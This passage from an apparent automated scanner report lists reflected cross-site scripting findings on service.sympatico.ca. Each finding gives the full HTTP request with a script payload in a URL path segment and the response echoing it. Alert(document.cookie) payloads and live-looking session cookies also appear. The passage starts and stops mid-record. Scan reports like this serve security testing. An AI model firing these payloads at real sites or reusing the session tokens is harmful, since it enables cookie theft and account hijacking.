name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:22 GMT
Connection: close
Set-Cookie: SMSESSION=TE4tV4936/Xn4g/kyFtla6VAVNM6JxSal/fAJz6wpC6nSZiYOZdfwhCoHRdFc+XTETMYYofYqGmIIpUwMi6lPxorpxVPEmeCBpT0+YZnKaIkAxUuZ0Rkbo0i/gM3SqQ7fsPL/C7FKm098mCByc4QOeVXsD27PnPYJG3kS6Vhr6WK1pljxC+IIsxDYlXy/AhqKlUkcHAYZqKluptRYtJtI7tFiwGgFG8nlxoHEqIcl2E9b6e1eZ+NJMQ9NxJv53XN7+9b89hRH20wbi1T25mV0/FZt9u5r1PMqqhzfON5wdeG7GH9ZLOv2g==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.selectbox.js86da2"><script>alert(1)</script>3a5e53dbcff" />
...[SNIP]...

2.289. https://service.sympatico.ca/js/jquery.sifr.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.sifr.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ad9c"><script>alert(1)</script>b8293415b7a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js7ad9c"><script>alert(1)</script>b8293415b7a/jquery.sifr.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:36 GMT
Connection: close
Set-Cookie: SMSESSION=Otnum5bZbFcHXCshK2tFpHEkRzqr8CozNLUaKoGi0g7bUJPYRMz3zSHDTZFM9322zfpu3oIE/EO3yVNjLzkjACCIjHzdoWiYRyypgP923zfHum42EszZf8NAaNR8D7GPqNSGmmix1COSm45mc/5S3JBs/cEcv6O9RFoBmJoNBmyjxI3FVH8aChUeTbS2r87CWke/TkTqX6QiuHvrL9/0EXe3AT61tp69W6HPGJg7/m/prLVsAZW/CyiZUK+Cv48p0LUsn6q7ffFWXpyAUBWnQLd1jLduPQ/hBt5iE0aSmBDbBkOFNFYVag==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:37 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:37 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js7ad9c"><script>alert(1)</script>b8293415b7a/jquery.sifr.js" />
...[SNIP]...

2.290. https://service.sympatico.ca/js/jquery.sifr.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.sifr.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76950"><script>alert(1)</script>f1e5732edf5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.sifr.js76950"><script>alert(1)</script>f1e5732edf5 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:40 GMT
Connection: close
Set-Cookie: SMSESSION=3wzvJIaFdSMMQU/0jYMCmLpZzkjudCC3ox47CjE7gaMp/p/WWesc9E8LFECxzF1jMRjjBpDCY+vmCi/j2M/af4zpXIj2tnsJliuZelLi8WC9ZrHWy1nhq3rl6WxECRhXlv2vxPR0F1ndZXDScn5R3K8jIPzm9YlnmycQ1VCWUedKv34KTcsZM1+sFXo8I4i2uX6muDCvntC3Cs9zwW2KIzWfnCouzgl5hLevvO7bcox9yVWJfl+e5E5RxAlen+ZuHGe8tfq7UO9SfYkrMNSnGSqcAki38vfVG7/QdHjKJGH4rtRr2iH0PA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:40 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:40 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
dden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.sifr.js76950"><script>alert(1)</script>f1e5732edf5" />
...[SNIP]...

2.291. https://service.sympatico.ca/js/multipleSubmitBlocker.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/multipleSubmitBlocker.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5665d"><script>alert(1)</script>f3b69090a5f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js5665d"><script>alert(1)</script>f3b69090a5f/multipleSubmitBlocker.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; 